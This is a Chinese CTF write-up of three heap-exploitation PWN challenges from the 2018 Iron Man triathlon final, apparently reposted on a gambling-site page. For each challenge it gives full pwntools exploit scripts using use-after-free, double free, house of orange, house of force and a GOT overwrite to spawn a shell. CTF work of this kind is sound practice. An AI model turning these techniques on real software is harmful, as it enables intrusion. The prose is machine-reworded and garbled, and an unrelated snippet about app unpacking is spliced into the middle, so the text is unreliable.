2018铁人三项赛总决赛PWN | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

2018铁人三项赛总决赛PWN

申博_新闻事件 申博 90次浏览 已收录 0个评论

0x01 littlenote

庇护全开的堆应用顺序,有add、show、delete功用,delete模块有UAF破绽。
add: 只能请求size为0x71或0x31的堆块
2018铁人三项赛总决赛PWN
show: 显现堆块内容
2018铁人三项赛总决赛PWN
delete: 存在UAF
2018铁人三项赛总决赛PWN
进击思绪:
1.应用UAF,删除堆块,再读取数据,走漏heap地点
2.再次应用UAF破绽,将fd指针改动到某堆块中心,就能够继承输入数据改写下一个相邻chunk的size,把size改大,然后free,就能够使其进入unsortedbin,从而走漏libc地点
3.第三次应用UAF做double free,向malloc_hook填入one_gadget地点

exp:

from pwn import *
env=os.environ
env['LD_PRELOAD']='./littlenote.so'
context.log_level='debug'
r=process('./littlenote')
def add(cont):
    r.recvuntil('Your choice:')
    r.sendline('1')
    r.recvuntil('note')
    r.send(cont)
    r.recvuntil('?')
    r.sendline('Y')
def add2(cont):
    r.recvuntil('Your choice:')
    r.sendline('1')
    r.recvuntil('note')
    r.send(cont)
    r.recvuntil('?')
    r.sendline('N')
def show(idx):
    r.recvuntil('Your choice:')
    r.sendline('2')
    r.recvuntil('?')
    r.sendline(str(idx))
def delete(idx):
    r.recvuntil('Your choice:')
    r.sendline('3')
    r.recvuntil('?')
    r.sendline(str(idx))
#use UAF to leak heap
add('0'*8)#0
add('1'*8)#1
add('2'*8)#2
add('3'*0x20)#3
add('4'*0x20)#4
delete(1)
delete(2)
show(2)
r.recv(1)
heap1=u64(r.recvline()[:-1].ljust(8,'\x00'))
print hex(heap1)
#fastbin double free,changing size to 0xe1 and leak libc
delete(1)
add(p64(heap1+0x40))#5
add('6'*0x60)#6
add('7'*0x38+p64(0x7f))#7
add('z'*0x20+p64(0)+p64(0xe1))#8
delete(6)
show(2)
r.recv(1)
leakl=u64(r.recvline()[:-1].ljust(8,'\x00'))
lbase=leakl-0x7ffff7dd1b78+0x7ffff7a0d000
one=lbase+0xf0274
mhk=leakl-0x68
#fastbin double free,changing __malloc_hook to one_shot
add('9'*0x20)#9
add('a'*0x20)#10
delete(9)
delete(10)
delete(9)
add(p64(mhk-0x23))#11
add('c'*0x60)#12
add('d'*0x38+p64(0x7f))#13
add('e'*0x13+p64(one))#14
print hex(leakl)
print hex(lbase)
print hex(one)
#trigger
delete(3)
delete(3)
#gdb.attach(r)
r.interactive()

0x02 bookstore

PIE和canary庇护没有开启,有addbook、readbook、sellbook功用。
2018铁人三项赛总决赛PWN
addbook:当readn的size=0时,会触发严峻的堆溢出破绽
2018铁人三项赛总决赛PWN
readbook:
2018铁人三项赛总决赛PWN
sellbook:
2018铁人三项赛总决赛PWN
readn:当参数a2为0时,碰到’\n’才退出轮回,能够写入超长字节,致使堆溢出
2018铁人三项赛总决赛PWN
进击思绪:
1.应用溢出破绽将下一个chunk size改大,再free,使其进入unsorted bin,从而泄漏libc地点
2.举行house of orange进击,即起首做unsortedbin attack,掩盖_IO_list_all,同时捏造old top chunk位置的size=0x61,使其对应于smallbin[4],再准备好’/bin/sh’字符串和新的vtable地点,如许,malloc报错时就能够跳转到vtable,在实行体系内部流程的时刻实行system(‘/bin/sh’)

exp:

Legu3.0脱壳心路历程

概述 本片文章描述一次完整的脱壳历程,从java层到Native层 流程概述 Java层 java层找到库函数的入口位置 过掉java层的反调试(解决方法在Native层:动态在isDebuggerConnected下断点) Native层 绕过Anti IDA 双层解密JNI_OnLoad 动态调试JNI_OnLoad,得到注册的本地方法的具体位置 分析load方法找到Dex动态解密的地方并dump 详细过程 这次脱壳用的测试机是Dalvik虚拟机4.4版本,所以底层用的libdvm.so库文件。 壳特征 有过壳经验的分析人员可以从安装包的特征文件和lib下的libshellxxx.so中看出是TX加固过的壳 java层 实锤加壳 在manif

from pwn import *
env=os.environ
env['LD_PRELOAD']='./bookstore.so'
context.log_level='debug'
r=process('./bookstore')
def add(author,size,cont):
    r.recvuntil('Your choice:')
    r.sendline('1')
    r.recvuntil('What is the author name?')
    r.sendline(author)
    r.recvuntil('How long is the book name?')
    r.sendline(str(size))
    r.recvuntil('What is the name of the book?')
    r.sendline(cont)
def delete(idx):
    r.recvuntil('Your choice:')
    r.sendline('2')
    r.recvuntil('?')
    r.sendline(str(idx))
def show(idx):
    r.recvuntil('Your choice:')
    r.sendline('3')
    r.recvuntil('?')
    r.sendline(str(idx))
add('a'*0x10,0,'0'*0x10)#0
add('b'*0x10,0x40,'1'*0x10)#1
add('c'*0x10,0x40,'2'*0x10)#2
add('d'*0x10,0x40,'3'*0x10)#3
delete(0)
add('a'*0x10,0,'0'*0x18+p64(0xa1))#0
delete(1)

add('b',0,'1'*1)#1
show(1)
r.recvuntil('\x65\x3a')
lleak=u64(r.recv(6).ljust(8,'\x00'))
print "lleak:"+hex(lleak)
lbase=lleak-0x7ffff7dd1c31+0x7ffff7a0d000
sys=lbase-0x7ffff7a0d000+0x7ffff7a52390
sh=lbase-0x7ffff7a0d000+0x7ffff7b99d17
iolistall=lbase-0x7ffff7a0d000+0x7ffff7dd2520
strjumps=lbase-0x7ffff7a0d000+0x7ffff7dd07a0

fire=p64(0)+p64(0x61)+p64(0)+p64(iolistall-0x10)+p64(0)+p64(1)+p64(0)+p64(sh)+p64(0)*19+p64(strjumps-8)
fire=fire.ljust(0xe8,'\x00')+p64(sys)
add('e',0,'\x00'*0x10+fire)#4

r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('What is the author name?')
r.sendline('test')
r.recvuntil('How long is the book name?')
r.sendline(str(0x40))
r.interactive()

0x03 myhouse

开启了NX和canary庇护:
2018铁人三项赛总决赛PWN
顺序主要有两个破绽:
1.能够向恣意地点写一个字节’\x00’
2018铁人三项赛总决赛PWN
2.owner和housen字段相连,假如输入末端没有’\x00’,能够泄漏堆地点
2018铁人三项赛总决赛PWN
2018铁人三项赛总决赛PWN

进击思绪:
1.底本斟酌向_IO_buf_base写’\x00’,从而改写_IO_buf_end,在_IO_2_1_stdin_上做溢出,厥后发现该题不满足前提,不能指向_IO_buf_end。因而斟酌将main_arena的top指针最低字节改成’\x00’,指向堆的其他位置,同时在该位置组织0xffffffffffffffff的size,举行house of force进击。起首malloc很大的堆块,比方0x200000,就能够拓荒mapped段,它与libc段的偏移是牢固的,就能够向main_arena的top写’\x00′
2.应用house of force把堆块分配到bss段,改动desc等指针指向atoi函数的GOT表,泄漏并改动GOT表,终究取得shell

exp:

from pwn import *
env=os.environ
env['LD_PRELOAD']='./myhouse.so'
context.log_level='debug'
libc=ELF('./myhouse.so')
r=process('./myhouse')
def addroom(size):
    r.recvuntil('Your choice:\n')
    r.sendline('1')
    r.recvuntil('What is the size of your room?')
    r.sendline(str(size))
def editroom(cont):
    r.recvuntil('Your choice:')
    r.sendline('2')
    r.recvuntil('shining!')
    r.send(cont)
def show():
    r.recvuntil('Your choice:')
    r.sendline('3')
#step 1:write '\x00' to main_arena's top_chunk pointer and set top's size
r.recvuntil('name?')
r.send('a'*0x20)
r.recvuntil('name of your house?')
r.send('b'*0xf8+p64(0xffffffffffffffff))
r.recvuntil('size of your house?')
r.sendline(str(0x5c5b69))
r.recvuntil('Too large!')
r.sendline(str(0x200000))
r.recvuntil('Give me its description:')
r.send('c'*0x30)
#step 2:leak heap address
show()
r.recvuntil('a'*0x20)
heap=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "heap:"+hex(heap)
#step 3:house of force
bssp=0x6020c0
addroom(bssp-(heap+0xf0)-0x20)
addroom(0x60)
#step 4:leak GOT and change GOT
got_atoi=0x602058
editroom(p64(got_atoi)+p64(got_atoi))
show()
r.recvuntil('And description:\n')
atoi=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "atoi:"+hex(atoi)
sys=atoi-libc.symbols['atoi']+libc.symbols['system']
editroom(p64(sys))
r.sendline('sh')
r.interactive()


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明2018铁人三项赛总决赛PWN
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址